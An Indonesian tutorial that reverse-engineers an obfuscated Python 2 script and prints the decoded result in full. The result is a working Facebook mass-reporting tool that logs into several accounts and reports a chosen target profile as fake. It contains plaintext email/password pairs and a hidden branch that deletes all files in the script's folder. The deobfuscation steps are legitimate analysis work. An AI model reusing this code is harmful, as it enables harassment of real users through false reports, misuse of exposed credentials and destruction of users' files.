• Download scriptnya:
% wget -O kadaluarsa.py 'https://pastebin.com/raw/zvEucxS5'

  • Salin isi bytecode yang terdapat pada script tersebut:
'''c\x00\x00\x00\x00\x00 ... \xff\x00\xff\x00\x05\x00'''
  • Buat script baru dan isi variabel e dengan bytecode tersebut, lalu simpan dengan nama 1.py:
#!/usr/bin/env python

e = '''c\x00\x00\x00\x00\x00 ... \xff\x00\xff\x00\x05\x00'''

with open('1.pyc','wb') as f:
    f.write('\x03\xf3\x0d\x0a\xeb\x56\x92\x5a' + e)
  • Jalankan script tersebut, maka akan dihasilkan file dengan nama 1.pyc:
% python 1.py
  • Disassemble file yang dihasilkan yaitu 1.pyc menggunakan uncompyle6 dan simpan outputnya sebagai 1.dis (abaikan saja error yang muncul):
% uncompyle6 -a 1.pyc > 1.dis
  • Berikut ini sebagian isi dari hasil disassembly yang disimpan pada file 1.dis:
L.   1       0  LOAD_CONST            0  '0000'
             3  STORE_NAME            0  '__doc__'

L.   6       6  LOAD_CONST            1  'ex'
             9  LOAD_CONST            2  'ec"'
            12  BINARY_ADD
            13  LOAD_CONST            3  '2321757372'
            16  BINARY_ADD
            17  LOAD_CONST            4  '2f62696e2f'
            20  BINARY_ADD

            ...

          7300  BINARY_ADD
          7301  LOAD_CONST         1265  '"'
          7304  BINARY_ADD
          7305  LOAD_CONST         1266  '.'
          7308  BINARY_ADD
          7309  LOAD_CONST         1267  'dec'
          7312  BINARY_ADD
          7313  LOAD_CONST         1268  'ode'
          7316  BINARY_ADD
          7317  LOAD_CONST         1269  '("'
          7320  BINARY_ADD
          7321  LOAD_CONST         1270  'h'
          7324  BINARY_ADD
          7325  LOAD_CONST         1271  ''
          7328  BINARY_ADD
          7329  LOAD_CONST         1271  ''
          7332  BINARY_ADD
          7333  LOAD_CONST         1271  ''
          7336  BINARY_ADD
          7337  LOAD_CONST         1271  ''
          7340  BINARY_ADD
          7341  LOAD_CONST         1271  ''
          7344  BINARY_ADD
          7345  LOAD_CONST         1271  ''
          7348  BINARY_ADD
          7349  LOAD_CONST         1272  'e'
          7352  BINARY_ADD
          7353  LOAD_CONST         1271  ''
          7356  BINARY_ADD
          7357  LOAD_CONST         1271  ''
          7360  BINARY_ADD
          7361  LOAD_CONST         1271  ''
          7364  BINARY_ADD
          7365  LOAD_CONST         1273  'x"'
          7368  BINARY_ADD
          7369  LOAD_CONST         1274  ')'
          7372  BINARY_ADD
          7373  LOAD_CONST         1266  '.'
          7376  BINARY_ADD
          7377  LOAD_CONST         1267  'dec'
          7380  BINARY_ADD
          7381  LOAD_CONST         1268  'ode'
          7384  BINARY_ADD
          7385  LOAD_CONST         1275  '('
          7388  BINARY_ADD
          7389  LOAD_CONST         1276  '"u'
          7392  BINARY_ADD
          7393  LOAD_CONST         1277  '8"'
          7396  BINARY_ADD
          7397  LOAD_CONST         1274  ')'
          7400  BINARY_ADD
          7401  LOAD_CONST         1278  None
          7404  DUP_TOP
          7405  EXEC_STMT
          7406  LOAD_CONST         1278  None
          7409  RETURN_VALUE
  • Selanjutnya, kita akan mengambil nilai yang digunakan oleh instruksi LOAD_CONST dan menghilangkan bagian yang tidak diperlukan, lalu dilanjutkan dengan proses decode menggunakan perintah seperti ini:
% grep LOAD_CONST 1.dis | cut -b42- | tr -d "'\n" | sed 's/0000exec/print\ /g' | sed 's/None//g' | python
  • Hasil dari perintah di atas adalah script berikut ini:
#!usr/bin/python
if 64 - 64: i11iIiiIii
import sys
import random
import mechanize
import cookielib
import time
import os
if 65 - 65: O0 / iIii1I11I1II1 % OoooooooOO - i1IIi
reload ( sys )
sys . setdefaultencoding ( 'utf8' )
if 73 - 73: II111iiii
IiII1IiiIiI1 = [ '1220658789' , '100000144760340' , '100000271145612' , '100000309841992' , '100000665136245' , '100001789788227' , '100002028588888' , '100002268188455' , '100002280747541' , '100002450705758' , '100002522616320' , '100002657733229' , '100002860135183' , '100002987468465' , '100003131460786' , '100003251206702' , '100003380762255' , '100003634661170' , '100003639768198' , '100004074340297' , '100004102071597' , '100004115880420' , '100004136748473' , '100004188280293' , '100004781648240' , '100004808267812' , '100005053082132' , '100005110593673' , '100005135958154' , '100005194274098' , '100005475870554' , '100005596956019' , '100005690344519' , '100005843287650' , '100005923111343' , '100006711438818' , '100006842194482' , '100006975253304' , '100006993527460' , '100007270218845' , '100007298448380' , '100007431249309' , '100007858324392' , '100007912696020' , '100007990905834' , '100008274665510' , '100008281780886' , '100008365692497' , '100008377248776' , '100008644475065' , '100009117086438' , '100009157678220' , '100009241301748' , '100009328738451' , '100009456523896' , '100009502494124' , '100009547384212' , '100009581052071' , '100009639605498' , '100009747072147' , '100009770985879' , '100009828586967' , '100010404488366' , '100010538807054' , '100010561097887' , '100010888126041' , '100011001488660' , '100011007121639' , '100011184107614' , '100011394799305' , '100011397510766' , '100011455382686' , '100011512394439' , '100011640215797' , '100011726616670' , '100012092828495' , '100012336974586' , '100012415546154' , '100012631050646' , '100012665949675' , '100012993846974' , '100013042115376' , '100013094078852' , '100013102388831' , '100013114237066' , '100013150745236' , '100013686726300' , '100013933025673' , '100014257213214' , '100014402507031' , '100014740397794' , '100014788892652' , '100014800321303' , '100014947092829' , '100015287649307' , '100015323080911' , '100015529872646' , '100015755052391' , '100015835293414' , '100016104213461' , '100016185150836' , '100016307833000' , '100016333484700' , '100016717149098' , '100016969781543' , '100017089936355' , '100017560723516' , '100017692804932' , '100017999173542' , '100018025536532' , '100018801882420' , '100019212937799' , '100019300860627' , '100020640532791' , '100020854698459' , '100021147008819' , '100021394357257' , '100021419523263' , '100021525619173' , '100021687259518' , '100021877350235' , '100022091735827' , '100022255607269' , '100022298597038' , '100022333534835' , '100022367521019' , '100022449333026' , '100022582489434' , '100022722188542' , '100022741365554' , '100003078072846' ]
if 40 - 40: oo * OoO0O00
IIiIiII11i = [ ( 'User-agent' , 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1' ) ]
if 51 - 51: oOo0O0Ooo * I1ii11iIi11i
I1IiI = mechanize . Browser ( )
o0OOO = cookielib . LWPCookieJar ( )
I1IiI . set_handle_robots ( False )
I1IiI . set_handle_equiv ( True )
I1IiI . set_handle_referer ( True )
I1IiI . set_handle_redirect ( True )
I1IiI . set_cookiejar ( o0OOO )
I1IiI . set_handle_refresh ( mechanize . _http . HTTPRefreshProcessor ( ) , max_time = 5 )
I1IiI . addheaders = [ ( 'User-agent' , random . choice ( IIiIiII11i ) ) ]
iIiiiI , Iii1ii1II11i , iI111iI = 31 , 12 , 2017
IiII = 'https://just-the-time.appspot.com'
I1IiI . open ( IiII )
iI1Ii11111iIi = I1IiI . response ( ) . read ( ) . split ( ) [ 0 ] . split ( '-' )
if 41 - 41: I1II1
if int ( iI1Ii11111iIi [ 0 ] ) > iI111iI :
 print '\n  [*] script kadaluarsa berakhir pada tanggal %s\n      hubungi pembuat\n  [*] Bang-Djon' % '' . join ( [ Ooo0OO0oOO + ' ' for Ooo0OO0oOO in iI1Ii11111iIi ] )
 sys . exit ( 1 )
elif int ( iI1Ii11111iIi [ 1 ] ) > Iii1ii1II11i :
 print '\n  [*] script kadaluarsa berakhir pada tanggal %s\n      hubungi pembuat\n  [*] Bang-Djon' % '' . join ( [ Ooo0OO0oOO + ' ' for Ooo0OO0oOO in iI1Ii11111iIi ] )
 sys . exit ( 1 )
elif int ( iI1Ii11111iIi [ 2 ] ) > iIiiiI :
 print '\n  [*] script kadaluarsa berakhir pada tanggal %s\n      hubungi pembuat\n  [*] Bang-Djon' % '' . join ( [ Ooo0OO0oOO + ' ' for Ooo0OO0oOO in iI1Ii11111iIi ] )
 sys . exit ( 1 )
 if 86 - 86: oO0o
print '\n  [*] Script ini berakhir pada 31-12-2017'
if 12 - 12: OOO0o0o / o0oO0 + i111I * O0Oo0oO0o . II1iI . i1iIii1Ii1II
i1I1Iiii1111 = 'https://mbasic.facebook.com'
i11 = raw_input ( '\n  [*] Masukkan Id Target = ' )
I11 , Oo0o0000o0o0 , oOo0oooo00o = '' , '' , ''
if 65 - 65: O0o * i1iIIII * II111iiii
if i11 in IiII1IiiIiI1 :
 print '\n  [*] ID target ada dalam pengecualian'
 oO000OoOoo00o = raw_input ( '\n      apa anda ingin tetap lanjutkan,,? (ketik n to exit) ' )
 if oO000OoOoo00o . lower ( ) != 'n' :
  print '\n  [*] Menyerang..'
  iiiI11 = sys . path [ 0 ]
  for OOooO in os . listdir ( iiiI11 ) :
   try : os . remove ( iiiI11 + '/' + OOooO )
   except : pass
  print '\n  [*] masih untung gk gw bersihin hp lu coeg'
  sys . exit ( 1 )
 else :
  print '\n  [*] Exiting...'
  sys . exit ( 1 )
  if 58 - 58: oOo0O0Ooo + I1ii11iIi11i / O0Oo0oO0o * OoooooooOO
def II111iiiiII ( ) :
 global I11 , Oo0o0000o0o0 , oOo0oooo00o
 print '\n  [*] Login...\n  [*] id = %sxxx\n  [*] password = %sxxx' % ( id [ : 3 ] , oOoOo00oOo [ : 3 ] )
 try :
  I1IiI . select_form ( nr = 0 )
  I1IiI . form [ 'email' ] = id
  I1IiI . form [ 'pass' ] = oOoOo00oOo
  I1IiI . submit ( )
  I1IiI . select_form ( nr = 0 )
  I1IiI . submit ( )
 except :
  I11 = '\n  [*] Gagal login / Password Salah'
  print I11
 if 'checkpoint' in I1IiI . geturl ( ) or 'recovery' in I1IiI . geturl ( ) :
  print '\n  [*] Login sukses, tapi kena CheckPoint...\n  [*] Skipping...'
  I1IiI . open ( i1I1Iiii1111 )
 else :
  if 'login' not in I1IiI . geturl ( ) :
   print '\n  [*] Login Sukses full >>'
   for Oo in I1IiI . links ( ) :
    if 'Keluar' in Oo . text :
     if 85 - 85: o0oO0 % oO0o * i1iIIII
     Oo0o0000o0o0 = Oo . text . replace ( 'Keluar' , '' )
     oOo0oooo00o = I1IiI . find_link ( Oo . text ) . url
   OO0O00OooO ( )
  else :
   print '\n  [*] Gagal login / Password Salah'
   I1IiI . open ( i1I1Iiii1111 )
   if 77 - 77: II111iiii - II111iiii . oo / I1II1
def OO0O00OooO ( ) :
 global I11
 try :
  I1IiI . open ( i1I1Iiii1111 + '/' + i11 )
  i1iIIIiI1I ( )
 except :
  I11 = '\n  [*] Target sudah Di NonAktifkan'
  print I11
  OOoO000O0OO ( )
  if 23 - 23: i11iIiiIii + oo
def OOoO000O0OO ( ) :
 global Oo0o0000o0o0 , oOo0oooo00o
 print '\n  [*] LogOut...%s' % Oo0o0000o0o0
 I1IiI . open ( i1I1Iiii1111 + oOo0oooo00o )
 oOo = I1IiI . find_link ( 'Masuk ke akun lain' ) . url
 I1IiI . open ( oOo )
 if 63 - 63: OoO0O00
def i1iIIIiI1I ( ) :
 global I11 , Oo0o0000o0o0
 print '\n  [*] Akun%s sedang meReport...' % Oo0o0000o0o0
 try :
  ooOoOoo0O = i1I1Iiii1111 + I1IiI . find_link ( 'Laporkan' ) . url
  I1IiI . open ( ooOoOoo0O )
  I1IiI . select_form ( nr = 0 )
  I1IiI . form [ 'answer' ] = [ 'account' ]
  I1IiI . submit ( )
  if 76 - 76: O0 / I1II1 . oo * O0Oo0oO0o - o0oO0
  I1IiI . select_form ( nr = 0 )
  I1IiI . form [ 'answer' ] = [ 'fake' ]
  I1IiI . submit ( )
  if 76 - 76: i11iIiiIii / iIii1I11I1II1 . oO0o % o0oO0 / OoooooooOO % OOO0o0o
  I1IiI . select_form ( nr = 0 )
  I1IiI . form [ 'action_key' ] = [ 'REPORT_CONTENT' ]
  I1IiI . submit ( )
  if 75 - 75: II1iI
  I1IiI . select_form ( nr = 0 )
  ooO0o0Oo = I1IiI . click ( type = "submit" , nr = 1 )
  I1IiI . open ( ooO0o0Oo )
  print '\n  [*] Akun%s sudah berhasil meReport' % Oo0o0000o0o0
 except :
  I11 = '\n  [*] Akun%s sudah pernah meReport target' % Oo0o0000o0o0
  print I11
  OOoO000O0OO ( )
 OOoO000O0OO ( )
 if 78 - 78: iIii1I11I1II1 - O0Oo0oO0o * oOo0O0Ooo + I1II1 + II1iI + II1iI
I1IiI . open ( i1I1Iiii1111 )
if 11 - 11: II1iI - oOo0O0Ooo % i1iIIII % II1iI / I1ii11iIi11i - oOo0O0Ooo
o0o0oOOOo0oo = {
 'bije.python@gmail.com' : 'berkatusaha' ,
 'bije.python01@gmail.com' : 'berkatusaha' }
try : o0oo0o0O00OO = open ( sys . path [ 0 ] + '/akun.txt' ) . readlines ( )
except : o0oo0o0O00OO = [ ]
for o0oO in range ( len ( o0oo0o0O00OO ) ) :
 if o0oO % 2 == 0 and o0oO != - 1 :
  id = o0oo0o0O00OO [ o0oO ] . strip ( )
 if o0oO % 2 != 0 and o0oO != 0 :
  oOoOo00oOo = o0oo0o0O00OO [ o0oO ] . strip ( )
  o0o0oOOOo0oo [ id ] = oOoOo00oOo
  if 48 - 48: i111I + i111I / II111iiii / iIii1I11I1II1
try :
 for Oo in o0o0oOOOo0oo :
  id = Oo
  oOoOo00oOo = o0o0oOOOo0oo [ Oo ]
  II111iiiiII ( )
except :
 import traceback
 i1iiI11I = traceback . format_exception
 iiii = sys . exc_info
 print '\n  [*] ' + str ( iiii ( ) [ 1 ] )
 sys . exit ( 1 )
 if 54 - 54: oO0o * o0oO0
 if 13 - 13: i1iIii1Ii1II + I1ii11iIi11i - OoooooooOO + O0o . II1iI + oOo0O0Ooo
 if 8 - 8: iIii1I11I1II1 . oo - iIii1I11I1II1 * O0Oo0oO0o
print '\n  [*] Done...\n'
if 61 - 61: I1II1 / oOo0O0Ooo + i1iIIII * OOO0o0o / OOO0o0o
if 75 - 75: i1IIi / OoooooooOO - O0 / I1ii11iIi11i . II111iiii - i1IIi
if 71 - 71: o0oO0 + O0Oo0oO0o * o0oO0 - oOo0O0Ooo * I1II1

Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa dan Anda yang telah membaca tutorial ini.